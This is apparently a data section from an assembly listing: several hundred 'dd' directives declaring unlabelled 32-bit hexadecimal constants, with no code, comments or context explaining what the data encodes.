		dd 0E6DCED95h, 839704D0h, 0C07B8868h, 0AC154510h, 0B97AC406h
		dd 3027C9h, 5B2B1446h, 0EDF39907h, 0FE443600h, 8F0C5ED5h
		dd 93C1001Dh, 1F84C628h, 5000BB5h, 0B3AE231Ch, 1D93CD4h
		dd 0A95C1B0h, 0C0A9A49Eh, 79007CECh, 0BA98931Bh, 1C4755A0h
		dd 1CC4697h, 5F067ECFh,	4B73E07Ah, 6927F700h, 5E1DC0ADh
		dd 0FEAB0003h, 0D72F3C84h, 0D4F554D3h, 52006E09h, 0A5CD875Bh
		dd 0F08426h, 8CEEFD40h,	344FCAB6h, 97B2DA1Eh, 102E2240h
		dd 118B852h, 0CFAF351Ah, 80635C26h, 6AF52854h, 3A93820h
		dd 2A9B82C4h, 97A07956h, 530524C8h, 0AA67DC73h,	0E5E2BC80h
		dd 7FB90057h, 2672B0C1h, 8700C38Fh, 7DD5718Eh, 0F35B3Ch
		dd 0EA64CE97h, 0D44E41D8h, 4F904900h, 0FB74AA81h, 0D165005Ah
		dd 78B998FDh, 3F0B8967h, 1F1CCA0h, 0C1EB80D6h, 539DECh
		dd 3701BDEAh, 6985AE48h, 83433500h, 0C1E660EDh,	287AF9h
		dd 0CAFE66FDh, 80A19EEEh, 7FB0F701h, 2BD7180Eh,	0E7EF870h
		dd 7A1D7CF4h, 9B347860h, 0EF1D7354h, 9640ECCDh,	0C38E7788h
		dd 0F4980005h, 7935B35h, 0BF16DFA0h, 6101F819h,	15D7A622h
		dd 1775C20h, 7A29B9EBh,	9D4A91A5h, 0D1805B50h, 89EA6733h
		dd 9021007Eh, 27CA399Fh, 0B60025AEh, 0D5B29CD2h, 8D3C6Eh
		dd 122B9BDFh, 5B38F317h, 14770600h, 0CE7234E0h,	4CB2762Ah
		dd 0A200EA2Dh, 0AB87931h, 0F2007E7Ah, 0D9DB3EB6h, 67DEA9h
		dd 19C672ECh, 1420E9DDh, 5600D7F6h, 0A155D107h,	7AB4D9DFh
		dd 0BAA30025h, 0C085BD98h, 0E300E813h, 0D969960Ch, 247D203Dh
		dd 0E1D572h, 0E76C4609h, 6100D229h, 5060D90Bh, 48BC47D7h
		dd 5C480054h, 7CCA440Eh, 0A8DB2522h, 0EA660C40h, 0D3CEC301h
		dd 7A265CB4h, 50DEAFDCh, 918CA2h, 2B9F86C0h, 0ECBE30C2h
		dd 0E8322D00h, 562CC3Dh, 7FA0009Ch, 227DF9B1h, 5AF845FFh
		dd 80C8848h, 80AFA5C8h,	0DED65246h, 90008AB2h, 437C0740h
		dd 7AC9FBDAh, 8CC40399h
		dd 0ABE40B34h, 6BD0CF93h, 0E60F91E2h, 0E9661B14h, 5E500030h
		dd 26A2EECh, 0C453D38Eh, 85619FF0h, 8B64D8B7h, 119A4830h
		dd 4B23F5h, 326F241Eh, 87082C7Eh, 38075E00h, 529346D2h
		dd 7C2A02AEh, 249F69C9h, 28003D54h, 9365B785h, 1230021h
		dd 1D563975h, 721497DAh, 13DECCE1h, 2C4C9EFAh, 0CA2145h
		dd 0B66E5FA7h, 2EF5A56Ah, 3B776900h, 5D92238Ah,	0E5AE1E09h
		dd 6788C0CFh, 44E7EBEh,	0F8018AF0h, 0E48C75E2h,	84D40A5Bh
		dd 70EB0036h, 88D9FE22h, 21E4DD87h, 4AE22B01h, 0FCB6A9C7h
		dd 0FC91470h, 625C73A0h, 8D2B8400h, 75E4DC12h, 10AE6C00h
		dd 0BB4C2663h, 0E37101D2h, 7D5759F9h, 930034CDh, 928BFF00h
		dd 0F808E888h, 1A5F1771h, 0F91400CAh, 0BC9C3B45h, 486C7D00h
		dd 6FC77273h, 0B5465899h, 48E6B0Ah, 967F80E4h, 890E3548h
		dd 24BF5C00h, 0F691DD2Fh, 9FDB00A2h, 8525AC3Ch,	0E2703134h
		dd 0BB65C626h, 0C91BEC00h, 198012h, 0B5459116h,	0D05A2A5Bh
		dd 1096B137h, 81E20970h, 0C8A9398Fh, 1BD8D0h, 48D99542h
		dd 4E8D1DC2h, 88855728h, 8078703Eh, 0DFF78B47h,	7565FE4h
		dd 494D3A22h, 1DEB40BDh, 6800360Bh, 0A992A853h,	3E468CE6h
		dd 6901D171h, 2229A85h,	23F08E43h, 0F08A209Dh, 512E3B0h
		dd 14A1ED7h, 28C600F5h,	967BF23Eh, 93FA1503h, 0AEF75B88h
		dd 22FF0A88h, 809CC7ABh, 0FB29FD68h, 8758BAE0h,	1600755Ch
		dd 1AEB01B2h, 2EE33D78h, 708309Eh, 86BB21B3h, 0A30128DBh
		dd 0DC1CD35Bh, 3DD4AEFCh, 0B6D90003h, 50391792h, 552657F2h
		dd 0F0B7D87h, 0AAD00009h, 3C1A5Dh, 0C0B3BF7Fh, 1D94DCF7h
		dd 0B45A2907h, 9321BA55h, 7C6087B7h, 0BBE463h, 6B044F47h
		dd 0F9DC2075h, 0C2C0780Dh, 1CC538E0h, 3484860h,	0F62E49FEh
		dd 0A5890805h, 0D80CE12Bh, 0F0001BEFh, 0B57B9B68h, 614307h
		dd 0BE04A38Eh, 1094AF6h, 6EF10601h, 9C2839E2h, 82639647h
		dd 0D122D377h, 0F2203E18h, 1AF03FFFh, 0B94E3403h, 0B0978ABEh
		dd 9EA2DA91h, 9F51C80Eh, 0BDFA2019h, 0D283F0h, 6D936E26h
		dd 0F952FD90h, 1882F300h, 227803B5h, 0C0190055h, 0E7A6955Eh
		dd 5300D810h, 2E59ACBAh, 0CFCD9CCEh, 6C063F48h,	0E70040D4h
		dd 78657256h, 9E942Dh, 510F88A5h, 7CC31FB3h, 9C8F6F00h
		dd 27089B5Ch, 16D20154h, 0F2E48872h, 5128C8h, 0A7191F32h
		dd 0D3C9A3h, 281AF73Bh,	558A4BA5h, 0AC879F00h, 0F98F3FB3h
		dd 0B54400CCh, 96A59B4Dh, 0EB032432h, 27C1BA01h, 7143F012h
		dd 9FF228A2h, 2BD80880h, 1B808FD1h, 50235DDAh, 2100ED3h
		dd 3CA0F38Eh, 0CCC9B643h, 0C118D4EAh, 0E5215F70h, 7CE86C74h
		dd 3002911h, 0C4F198FCh, 54E695Ah, 7BD50554h, 0F3280CBh
		dd 0DB000B5Bh, 0AF453A13h, 1E8AD77Eh, 1F5F848h,	0F45F7560h
		dd 0B2CF70B6h, 0DD581903h, 0B09AAEBAh, 0B1D248h, 209241E8h
		dd 7BC5C428h, 0ECA3BD01h, 0FF9C46BAh, 60550560h, 0EB9B70DAh
		dd 0F50045C9h, 306D0AC3h, 0FFBD8A5h, 563885CAh,	0FA50A8E0h
		dd 0E0005411h, 478A452Ch, 0E0DCB52h, 7E9E85B8h,	0F2DEA7C0h
		dd 4D004327h, 7A5D9F97h, 1D67D95Eh, 0C0E92080h,	1607BA9h
		dd 9400043Eh, 0FBDDF01Ch, 0F3FA9Bh, 0AFEF4F66h,	727E9112h
		dd 76DAE700h, 21E98CC6h, 10DD3CB0h, 28C75D00h, 1960F3B1h
		dd 0F1AD3B26h, 0CE53E400h, 7BCCF1h, 0DC98FAEAh,	6E3A1E81h
		dd 1B0E9575h, 0CFDB3D4Dh, 0BC278051h, 5B75Bh, 0C8383FE8h
		dd 4085C12h, 0B8599317h, 881D2480h, 98B10043h, 80979249h
		dd 0EB09DAB9h, 852A31B0h, 2C80AD40h, 168B9A2Fh,	8007C21Ch
		dd 5F98BFE4h, 489E5037h, 0B86CE5C0h, 2DAEE70h, 1DCCEC1Bh
		dd 4C63AD30h, 0D420481Fh, 80782246h, 43D50E40h,	6520FB46h
		dd 8906C91Ah, 49005CE6h, 7FFC21B2h, 7C7EB7h, 376543E6h
		dd 0D1D9ABFEh, 0CF9AEF00h, 2957BC9Dh, 81D40051h, 46AC0412h
		dd 9E00370Ah, 2053F496h, 1888D77h, 0E1C11FFh, 60C8F86Ah
		dd 450023F4h, 1D323CA5h, 1F69BCAAh, 0BFC5AB3Ah,	7F083580h
		dd 2098314Ch, 0EF5CE700h, 50BC4263h, 0A09EC0Ah,	942FF2A0h
		dd 3E5A00A0h, 59F741DEh, 1E5B3300h, 46124B20h, 861D2D09h
		dd 5022E407h, 49C123EDh, 804DE63Dh, 32F6E018h, 158BFCh
		dd 0AB96598Eh, 0C4F7F0A4h, 64A04007h, 0B2A28638h, 6DF06149h
		dd 1DF609C0h, 0C1D7301Ch, 26FA7FE1h, 9B122F13h,	60ECEC0Fh
		dd 38AAA3CBh, 0AEC10028h, 834FBC7Fh, 6B3FE7C3h,	45028078h
		dd 8EBE1EF0h, 0CC90286Eh, 25F738B4h, 0AFDA3900h, 0C2E01F61h
		dd 71507C04h, 0EFC362FFh, 0FBB1A8C1h, 0B3880078h, 583B40D6h
		dd 5373A8E0h, 4D76C602h, 0E019A48Ah, 7DAA9C68h,	0D87300E2h
		dd 30C028F9h, 0EC00A9D3h, 6364F45Dh, 0B3A2E5h, 0CBDD8268h
		dd 117980EFh, 0AA407A00h, 7E1E9609h, 79EEE0B7h,	0A024070Ah
		dd 20065A4Eh, 0DFDEFEDDh, 0BC30AE7Dh, 636AC054h, 86BA00ABh
		dd 9FE12A34h, 4700A89Dh, 0B7B5976Dh, 152F59h, 0FFB9E5F8h
		dd 0C7E39C5h, 0A7D8200h, 852AB122h, 783B0DAh, 90AD9F62h
		dd 4607A138h, 9D28F45Eh, 0BC019278h, 4AC3B4E6h,	0A170C064h
		dd 5F7309h, 87E0FCC6h, 0DEF57C05h, 9665BA01h, 0D4170757h
		dd 0C60A3D5h, 2B0D0CFAh, 0A128864Ah, 6DB8907Fh,	35007F90h
		dd 62B46481h, 3BFDA6CFh, 0EE806E09h, 45775686h,	0DF0050DCh
		dd 0EB8877Fh, 0E964DDh,	42522DC8h, 4BCD1D93h, 876B561Bh
		dd 0AF55E830h, 731074F2h, 49D66002h, 0EF0D331Eh, 82DACF00h
		dd 4F29FE11h, 0FC2E00FAh, 0AEB3F8E1h, 0C824523Fh, 424EAB6h
		dd 38002Ch, 0D42E1294h,	0E851FA9h, 3B7468A7h, 835CE440h
		dd 0BA0071BEh, 0B3EC3581h, 7CE6C0CAh, 67B103CBh, 0C37687E8h
		dd 0A5493988h, 86622900h, 0FA8ACD19h, 0A49B480Bh, 7283B63Ch
		dd 8CE4E31Dh, 64B30AB8h, 6C986E7Ah, 7790C400h, 40B27BCFh
		dd 5DDC000Eh, 3CEDB8C2h, 38E5D54Bh, 6DA90020h, 9CB5F4F2h
		dd 0A4BE488Bh, 0FFD41801h, 48C3ABh, 7EE10F7Dh, 13A50C78h
		dd 0F6199506h, 42FB260Bh, 8ACCA021h, 53B69ADh, 8CE1BAA0h
		dd 0FD528034h, 0B600CC2Eh, 44DDC239h, 2C706D3Eh, 0C7C79Eh
		dd 11D8696Ch, 1C4AD259h, 4200A8C5h, 0F13EF04Eh,	5571FD1h
		dd 4058DD18h, 75F29D31h, 840111ACh, 3FDE7C6h, 0E9C4B990h
		dd 8186001Eh, 93151913h, 437E3E33h, 0D68D9C27h,	28760060h
		dd 4CEC2411h, 4E176CFCh, 7C80FDEFh, 26A136h, 7DD2C765h
		dd 0E9BA1D79h, 337B9AC3h, 396800B8h, 84CEA212h,	0FA00F70Fh
		dd 0F2B09C22h, 0E6F05255h, 46C40038h, 0FD0EB5C0h, 760443D2h
		dd 91999C53h, 0DA84A0h,	0FBD97011h, 572687B4h, 0F365EA02h
		dd 0E18F4C4Bh, 6C288B98h, 4407D505h, 0B9049054h, 5F1E3DCAh
		dd 25CEC5EBh, 393A0542h, 164CBC40h, 2CD30301h, 0E40BB3h
		dd 17B64642h, 0ABF02F38h, 0C469CA00h, 0D3FC02A4h, 40C059F2h
		dd 0C3E23900h, 0B212B4A3h, 59774702h, 2066FBDFh, 3D38D9E5h
		dd 2189900h, 0DF12FF89h, 0CEB0267h, 879CE00Ah, 2586ABC0h
		dd 438FC200h, 88D8B33Bh, 0C565255Fh, 0FD0E5496h, 5E8633h
		dd 88989550h, 61C02E5h,	2A1941F3h, 87AF8080h, 0D930F196h
		dd 6DFFA8BCh, 7C2E14B2h, 0F80505Ch, 0A8BA6C25h,	799C1D55h
		dd 74FC0358h, 2B6BB30h,	2881DAB0h, 0D0C832E5h, 0ACBEEC18h
		dd 0A4225C2Eh, 26D28B07h, 8800AB4Ah, 0CDE1ADh, 2D86C5E8h
		dd 2BC5DC9h, 5B1D2B07h
		dd 33E0D0E9h, 19D9A58Bh, 0A90E3C96h, 79870D4Fh,	0CD2BD453h
		dd 0A01CCA1h, 80AF9C27h, 57E6BB58h, 0D7A5007Ah,	58BC2693h
		dd 0AD62D3DEh, 0C0F8D159h, 98B25224h, 6AD20979h, 838041F0h
		dd 0FD1B7AA3h, 0D5314300h, 0B0DCE851h, 0B1E000E4h, 84FFBB0Bh
		dd 4B4C1CB7h, 298E03E4h, 77A6850Fh, 0BC6F0E19h,	0FC1E2722h
		dd 9E748D01h, 6011F4BBh, 63003747h, 0C85FB609h,	3D68887Bh
		dd 0ED002358h, 1B4E4686h, 2CFC8A4Ch, 0CD049473h, 0ECE4C016h
		dd 5CA6FC80h, 0E5EE809h, 0B5444043h, 0A0FA4D61h, 0C2945457h
		dd 0C49AEDEh, 6F02A80h,	184B3Fh, 6A7FF9E0h, 0BD09854Fh
		dd 1D8A0Ch, 0D5256B8h, 748E58EAh, 393B6507h, 4670E2AAh
		dd 0F6BDA2E0h, 0A64D417h, 6428D449h, 8034FAE4h,	0B60F8B3Eh
		dd 0A16D877Dh, 6833B44Ah, 11D8002Ah, 53A4AD26h,	70AEB513h
		dd 0D0409C1Eh, 18DF5DBEh, 97940363h, 0A02D5A02h, 0CF1A8CE8h
		dd 0BF06F700h, 322ABD0Fh, 0B9A10734h, 324F5488h, 98611644h
		dd 77CCDDFh, 0B3D98320h, 73AC001Dh, 55DE5A0Dh, 87003A77h
		dd 79AB81B2h, 1F675DF6h, 0C9166CCDh, 8508E44h, 3B02AAEEh
		dd 2AB55B66h, 0A920C08Fh, 6B450790h, 20E44BBBh,	0D7C018B8h
		dd 0E016DD00h, 0BE791C9Eh, 0D088A3D1h, 2FE17D6Fh, 70D75h
		dd 0D96830DFh, 0CA00CEFDh, 381DD362h, 0B84D1719h, 0F2E600E1h
		dd 59FF2D36h, 7B000208h, 565AED98h, 875E10h, 792462E7h
		dd 92C21D6Eh, 0A4225900h, 3D1713Fh, 0DA783BBAh,	7C0A0280h
		dd 93B381A6h, 73B8300h,	111B5461h, 90720175h, 44FE8A5Bh
		dd 0BBDBCC2Ch, 3ED5F000h, 0A185DD1Ch, 15E5030Fh, 3CA92E9Bh
		dd 0EA29CCD8h, 455B8809h, 52282FCEh, 4BDE9031h,	9C5DB840h
		dd 2DAB076Eh, 3078517Fh, 898E791Eh, 825EA539h, 403EFD33h
		dd 0C7284001h, 2C280794h, 0A01A85E0h, 0C33902B5h, 0DAA1D10Fh
		dd 498EC16Bh, 4AC49188h, 868100C5h, 0AA243D6Fh,	0C6C47937h
		dd 10E05A77h, 691712C7h, 6D4F0794h, 439E50A4h, 9965FDBDh
		dd 6480C328h, 0F80A3EE5h, 97BB004Bh, 60BDCA4Ah,	622E89C0h
		dd 6907C166h, 0F3610A4Ch, 0AC403EB3h, 7CA34h, 0A8C36CC2h
		dd 0A0728F89h, 13B05548h, 34409F31h, 25094044h,	9EBA0054h
		dd 66BDE07Dh, 4B03FD2Ch, 34F87397h, 0CEA39846h,	9814h
		dd 3CD0DF51h, 0E6AC4DC5h, 98E21928h, 0C6342E00h, 0BFDCFBCBh
		dd 4D870BD2h, 486846DFh, 0E60399A3h, 0CB5408ACh, 0FF9C0016h
		dd 0F6F93421h, 3600A829h, 563AE9BBh, 519C1C9h, 0AEA97D77h
		dd 0A7788C92h, 0A831C22Ch, 0E71F302h, 0EC54DEh,	0E1264E24h
		dd 20155BABh, 26D0D35Eh, 3000A016h, 180E10F7h, 5205003Eh
		dd 37264B3Bh, 3203EDB2h, 99A86421h, 85B3C0ABh, 45290B33h
		dd 0EC20EA79h, 8BCB766Ch, 1CE280C0h, 10AE377h, 0FCA35F1Eh
		dd 20101F38h, 0A70F8C50h, 4E2A5ADFh, 0D1C6A036h, 23E9BE0h
		dd 831727D9h, 0FA408C89h, 48924902h, 0E0A80B58h, 90B517A4h
		dd 5D423A94h, 0C0384C92h, 0AB582BACh, 1A35CD1Fh, 8FCFDE40h
		dd 72D84615h, 28F70EA8h, 2700AC13h, 0A485B99Eh,	50EE9201h
		dd 0F38ABAE9h, 1646A3F8h, 2BEDE17h, 76ED8618h, 0CC6F64E0h
		dd 0B337F38h, 38383A66h, 15B361F0h, 840CB62Bh, 0AF5E807h
		dd 8C980BA3h, 0F05D829h, 0F0A9B605h, 0BF7A6C81h, 3184318Fh
		dd 0C9B8FB81h, 9C54C888h, 7890AE2Eh, 8012CF8Bh,	812CA7A0h
		dd 0D90400BEh, 0BF29134Ch, 2E171F3Dh, 7C706E5Ah, 2D5034h
		dd 23E5B330h, 0DD5BDE37h, 0BA7E90C0h, 0B21152A7h, 5DDA00D8h
		dd 0AA0BEBD9h, 63003515h, 9BDCF1EAh, 0B45696h, 7F51A2B8h
		dd 308525E2h, 7CBA0B2Eh, 98122A8Bh, 0E2E4ECh, 609AE0BBh
		dd 232B9716h, 0C0584927h, 0EFC5E5h, 543107B0h, 2579AABEh
		dd 90028270h, 2C0E457Eh, 3F888228h, 5BDC48B5h, 0F5B300E8h
		dd 3884FB39h, 0BCBA1E57h, 183A702h, 5A122BC2h, 0C82859DCh
		dd 73B4AF00h, 0B5D259D4h, 874A4F00h, 5B761665h,	1E587CF6h
		dd 80D84107h, 42D3B832h, 40C17C4Dh, 0DB4EF8EDh,	625B460h
		dd 0CD7673BCh, 4B5C10D0h, 50CF1E30h, 54E36580h,	5589042h
		dd 7C733CF1h, 0D0A28472h, 9A29FD98h, 4A43C4A8h,	0FEC85A15h
		dd 0F3C603F4h, 0E4B4FB81h, 492154ECh, 267B1788h, 0C8002535h
		dd 55450C02h, 0B8187960h, 7FEF42CBh, 436C3286h,	8D6040A6h
		dd 0E300F633h, 1D603A5Eh, 9888DAh, 95D4D849h, 9765B54Ah
		dd 7B0067ECh, 7207245h,	775613h, 3B6FE024h, 0BF8AAC9Dh
		dd 767DD148h, 2A139A1Ch, 0C178EC80h, 56B43C6Eh,	22003842h
		dd 81B9F338h, 0E100FC2Ch, 4069343Eh, 3F6EB25Ch,	4680F562h
		dd 75AD240Ch, 5F003D22h, 0FE172113h, 66732AB2h,	0B0923038h
		dd 8071E93Eh, 0D5CF3EBFh, 25A4D723h, 0D488B75Dh, 69A700E7h
		dd 0E27B916Fh, 0D39F9600h, 0A5813E77h, 6BEC092Dh, 79814B03h
		dd 0F591A89Ah, 0E0F8D604h, 2000FA5Fh, 232DE1F5h, 3768000Dh
		dd 0BCA040B7h, 0E4BE1BC1h, 4B21AB80h, 0F49E7084h, 16E635h
		dd 2F8165D9h, 3BE5E45h,	80EC6C3Fh, 8ACCD1A5h, 7E655FE8h
		dd 414600CFh, 0E5DDAE14h, 42017E51h, 944FC892h,	2834CB2Dh
		dd 88F8A032h, 72640202h, 50A9A573h, 0E58BB4C0h,	0BDFD7900h
		dd 0AA9453B5h, 613F028Ch, 529D26EFh, 4617BCE0h,	2D0795FAh
		dd 387B9019h, 0CF0EB3C0h, 6CC300E3h, 8EB8BE47h,	0D4001332h
		dd 0D171204h, 545D51Ch,	7E571B75h, 11CA09D6h, 0F9488480h
		dd 9D3C042Ah, 0D01892C5h, 9FA48F0h, 3C3AA55h, 37F17080h
		dd 59026344h, 0A13C2011h, 760F5C9h, 1E0139CCh, 50DC1607h
		dd 43F48DBFh, 82F301B5h, 209EDD37h, 278C609Ah, 6C487500h
		dd 5855CF31h, 21800FFh,	7FF31713h, 7E98C9FCh, 0CB97D407h
		dd 2B30D8A5h, 0B907B145h, 0C34B004Ch, 0EE51EC19h, 3A3BFE13h
		dd 0F8716040h, 2E25D77h, 34664AE4h, 0D0653FC4h,	93760Bh
		dd 1311EC18h, 0D918006Eh, 4A701207h, 1A003EF3h,	3AB7877h
		dd 2CA34B6Bh, 0A554C5AEh, 68168841h, 12904CE4h,	0BCC1EED6h
		dd 0EC50B431h, 0D04903h, 0F0DF91B6h, 9C767E1Ch,	8060902Fh
		dd 0F23567C0h, 1C098FDh, 0A90507BDh, 80ADDDD0h,	0CF5E3041h
		dd 1EA4F6D4h, 18172832h, 0FD6348EBh, 74F31F0Eh,	383406ADh
		dd 0C0E40BF9h, 6C814011h, 7063E3D6h, 8000288Ch,	0AA60D487h
		dd 14389Ah, 3D245BD9h, 6153C978h, 0E6B59300h, 5D6670DAh
		dd 0E64750BBh, 0BC3607C2h, 319428CAh, 0FCEACDE3h, 0D81C54F2h
		dd 0CFC0CB2Fh, 9A8F937Bh, 1DDDF487h, 0D87E6073h, 0BABE5977h
		dd 78890384h, 0B70F9422h, 379E7200h, 1A0C493Fh,	0C3081ED5h
		dd 7E70083h, 0F2394F9h,	0F3124200h, 53DCF876h, 23C14C2Fh
		dd 0A9B17300h, 0F9BACAC4h, 2ECB0803h, 0F850F0F4h, 7CDF5C3h
		dd 0A675C75Eh, 5BBF30ECh, 300019D7h, 76C3D8DCh,	8804F9h
		dd 2271361h, 60CBF1F5h,	0CD416400h, 65E33EE5h, 0D45C0111h
		dd 4824C4D7h, 2FDBFCB8h, 0BD11507h, 30730845h, 0C198B8D9h
		dd 25941C99h, 80F01FF8h, 7E189D7Fh, 0B83BB71Fh,	0DC6B0066h
		dd 0CA9C242Dh, 844E0112h, 2A4C0843h, 9011873Eh,	511034D3h
		dd 5EAFEAh, 4F576F64h, 0ED8F99F9h, 6EA6E814h, 0E7C300A8h
		dd 6B9450F3h, 0CB4701A4h, 4AC6844Fh, 0D3A9E8D6h, 676B900h
		dd 0CD4012B0h, 0C5FE481h, 5239D4D1h, 2FF65440h,	76DBC07h
		dd 7E502426h, 0F325F7h,	6EE9CA4Bh, 0DEC2A322h, 0F1E5B700h
		dd 0A22B367Ah, 8F8902EDh
		dd 0DC4D70A6h, 0C0658261h, 9300E75Eh, 0B9D6F43Ch, 1D481479h
		dd 78DC84h, 0FA4FE49Ch,	22E632CEh, 94A74A00h, 82E3A949h
		dd 6540080h, 38A666BDh,	0EA005DDCh, 0C765B19Dh,	24684Eh
		dd 45332A82h, 28A6416Ah, 0C524E6F0h, 53009CB1h,	1AF9B44Eh
		dd 107FBFh, 0DC3204FDh,	37C12001h, 40F448h, 4050E171h
		dd 0A090AB9Ch, 1CA4BAA0h, 4EC3C83Eh, 95C02799h,	0B3569FEEh
		dd 98B17C00h, 76AFDE89h, 6AC40775h, 27CA7DF0h, 5F558053h
		dd 0BBB05167h, 0CEECC700h, 295D8CEDh, 0FC7A1D7Fh, 45C64D6h
		dd 8040FFEFh, 8EC44A0h,	88276400h, 8F249C7Bh, 0B81213BAh
		dd 3A6B07C8h, 0DAF7C0D9h, 0CF709DF9h, 0B6335200h, 0E3FD5C38h
		dd 61EC57h, 30EFF21Bh, 588D7A49h, 803B4A00h, 5327933Fh
		dd 0FBC700B2h, 0A687EC11h, 0E1003C7Ch, 0F63DC77h, 19BDBBh
		dd 53304B50h, 81352D99h, 4DF22100h, 65EFEC0h, 0CDA4897h
		dd 28E4C900h, 0A18D6AE3h, 57255900h, 0D07D785Ah, 0FDA714C8h
		dd 1C07FC56h, 0D6630E95h, 0AE001059h, 0B680D35Dh, 375EDD1Dh
		dd 0E051299Bh, 9F4B370Dh, 0E67FC500h, 0C7FED7D0h, 0B5290069h
		dd 98D4F027h, 8509689Ah, 3243A5Bh, 98F73E9Ch, 772A95h
		dd 6FA1CDACh, 4E41538Dh, 718F6300h, 5EF819D9h, 117C00EAh
		dd 0CA4895DFh, 0E8007904h, 43D1C637h, 549D2DDAh, 3848C4CDh
		dd 5182FD0Dh, 0F9E38806h, 5C84EB40h, 9D7EF100h,	27F5455Fh
		dd 0FC323969h, 62AB1781h, 0F023F01Dh, 7E3913A6h, 1A5A006Dh
		dd 0C47AFC81h, 307702DFh, 834B292Ch, 6491E180h,	0A500FBD0h
		dd 83F9903h, 0EA539D79h, 0C17DEFh, 2E236E2Ah, 59345FC4h
		dd 0C341D80Eh, 0D753A0F6h, 0BBA11E1h, 45E890DEh, 0B407B700h
		dd 2D037481h, 9DF2A25Bh, 4BDDB8FFh, 1AE10013h, 65FE7E70h
		dd 41C044A7h, 0D8E35C1h, 95131741h, 6A4B03B9h, 0E0A93ABCh
		dd 33CC4076h, 0BE006E8Ch, 57FE94Dh, 57FFF7h, 0A959DF8Dh
		dd 4793CD72h, 13F9D00h,	5829B9Eh, 0D56E00B8h, 0A934E11Fh
		dd 2A3B4DBBh, 0D2B30012h, 0ED10070Eh, 40E60070h, 0D13521Dh
		dd 4C00F283h, 1E2DBBE0h, 263AE74Bh, 909E34h, 9CC35459h
		dd 3C00EF14h, 0E4CB3944h, 24707C04h, 1D49280h, 94839036h
		dd 0D47AC56Fh, 3200819Ah, 135CF2DBh, 75155Dh, 89336BA5h
		dd 28545661h, 3629E600h, 0AA3BF101h, 20AD031Dh,	110518BBh
		dd 0C449F9h, 0EB85A390h, 1EB6C24h, 653EC223h, 809D1AE4h
		dd 781D80A0h, 73A8D3h, 2B701525h, 85953457h, 0F8C99400h
		dd 1D43990Ch, 3DFD09FFh, 7800651Ch, 6A218E06h, 0B692902h
		dd 6873CD7Dh, 79591Ch, 42379C8Fh, 0E3BF9505h, 56F9E524h
		dd 334D3801h, 1370D58Ah, 88F63996h, 28E77E00h, 98A7763Bh
		dd 89F8424Ah, 7441D501h, 320147D6h, 0A04800FCh,	9A929780h
		dd 720C0050h, 57C5DDCCh, 29C0EB3Bh, 5CA2752h, 8F8000C8h
		dd 0F6492541h, 0AF24EE1Bh, 37800C14h, 0E1C11A20h, 0E96B009Ah
		dd 0D143D3C8h, 0E53A4DF0h, 0B3A780A6h, 226D33A0h, 0F96E008Fh
		dd 5081528Ch, 0A50030B5h, 0FE1E510Fh, 10CEAF28h, 817BBA2h
		dd 6020B412h, 8EE3ADB3h, 79BC3900h, 50897465h, 0E9D70580h
		dd 0C0F95A58h, 61CB7004h, 0BAF64EE8h, 30D56200h, 6E15BEEBh
		dd 3E7C51h, 178C4BC5h, 973C0652h, 8468BF00h, 0E8F1C2A9h
		dd 5FB00EDh, 8D082ADAh,	87016116h, 0EFC5A5Dh, 8C4021C7h
		dd 0F8ACCB46h, 0A5ED0008h, 0B7F9BCCEh, 0D0000CE9h, 0EEEBF504h
		dd 7E75E0ECh, 3D98395Dh, 0A04B2800h, 0D1614358h, 2AFB4F00h
		dd 0B4048D0Ah, 0A5CA0B52h, 5A007402h, 34FF7B4Bh, 39EB0B3Bh
		dd 0FA7F9F49h, 4850F8C0h, 7197E693h, 0FB610F6Eh, 8260083Ah
		dd 0F3D4A303h, 0AAE02000h, 0BEE677A6h, 4BBB035Ch, 5402393Ch
		dd 60E172D0h, 0FFCCD109h, 1E9800CDh, 7C0A78h, 0B0514B0h
		dd 3FAEEE2h, 5B071A00h,	0ADDDA465h, 0A15A0FD3h,	0F0AEFE58h
		dd 0EEED161h, 8AF86069h, 1388A200h, 0C9799A60h,	7DB98F6h
		dd 5DAA787Ah, 21DFE099h, 43042BF4h, 2EA68A18h, 0F2E4E880h
		dd 0F9B13B63h, 0C77F1E1Eh, 5642FB75h, 0E42CFC98h, 3F1499h
		dd 31C9769Ah, 910105h, 0F1758DFDh, 642FA3EAh, 32784C09h
		dd 9CCC807Ah, 2DBA59Eh,	3F4A7FE4h, 28507ECDh, 0E7B54300h
		dd 23AD3ED3h, 6B68CEB4h, 183A835Dh, 400E2A56h, 239F03B7h
		dd 0CE9DC0E1h, 7E070280h, 6A0DAE7Ah, 0B2E54C0h,	26F688h
		dd 613B582h, 0F9751A2Ch, 0E235D000h, 0A022927Dh, 0D42E1E95h
		dd 547A480h, 8744C466h,	72CAB02Ch, 9501C937h, 0BE7A9A46h
		dd 6020FAF7h, 60FE7Bh, 0A4ACE254h, 0B958E875h, 0F7A5B0C0h
		dd 2C3463BAh, 808C52EDh, 3C6AE71Bh, 9C0F7758h, 4039D203h
		dd 0EFAE10BDh, 0C1407F6h, 20A9ED31h, 9F529FFh, 49D23400h
		dd 2F629330h, 8EA16AAh,	1EB2E859h, 97005C25h, 6659FE3h
		dd 0B82D0384h, 0B0F05D3Eh, 6CF75B98h, 3FD88100h, 98F9554Ch
		dd 1EF80067h, 39AEC0DEh, 0A40E922Ah, 592EA0h, 0D6D5A130h
		dd 21C4A0C5h, 0FB6C098Bh, 0A0568Eh, 5D0BD93Ch, 0A100477Bh
		dd 0DB49217Bh, 722892FDh, 521300D8h, 0EF44C72Dh, 0F8009B88h
		dd 0C78E618h, 4772E9h, 0FB0DB9F5h, 265F4E69h, 0FDBA8300h
		dd 0E9943C5Ch, 0EAF907EEh, 0C0DF09F4h, 71C962E7h, 737EE302h
		dd 0A0DCEB27h, 105D39FCh, 188FA5Ah, 4DCF7B79h, 0D81613A9h
		dd 4904A70h, 0DBB5F600h, 0E8736596h, 3180E3Bh, 6D404854h
		dd 854A9DCFh, 0FCE604EEh, 0AE51092h, 16CA4500h,	0D38FCD40h
		dd 0AED7A91Ch, 0D51E376Ch, 39C0EADFh, 673CC454h, 0FC5654E6h
		dd 0AD10F34h, 0E5E08C82h, 94A45957h, 0C23E890Ah, 0BB02D88Bh
		dd 0C460F3B7h, 0CD2C1C68h, 6188C0DBh, 648762A7h, 0BB21321Fh
		dd 3A12FA81h, 33CFFFh, 0B88CC3E8h, 1326718Ch, 701306B8h
		dd 3367EE8h, 0C65AD802h, 40C75107h, 89BEC0h, 35D3A7AFh
		dd 0A1103A72h, 7B46230Bh, 900F8092h, 567F41h, 0B76FD8F3h
